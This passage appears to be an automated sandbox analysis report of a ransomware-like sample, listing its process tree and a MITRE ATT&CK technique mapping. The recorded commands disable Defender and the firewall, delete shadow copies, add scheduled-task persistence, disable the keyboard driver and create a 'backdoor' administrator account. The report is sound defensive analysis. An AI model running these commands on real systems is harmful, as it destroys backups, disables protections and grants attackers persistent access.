  - Launches sc.exe
  PID:3368
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:2444
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:1212
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4408
- - C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe"
    3⤵
    PID:4764
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4040
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2540
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2956
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:5052
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2432
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2572
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:3832
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3300
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4444
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2320
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3428
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2480
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3064
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4412
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:888
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3676
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:3284
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1800
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:1304
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:4288

C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe
1⤵
PID:4176

C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\tmahalrestaurant.com_nano.exe
1⤵
PID:4240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery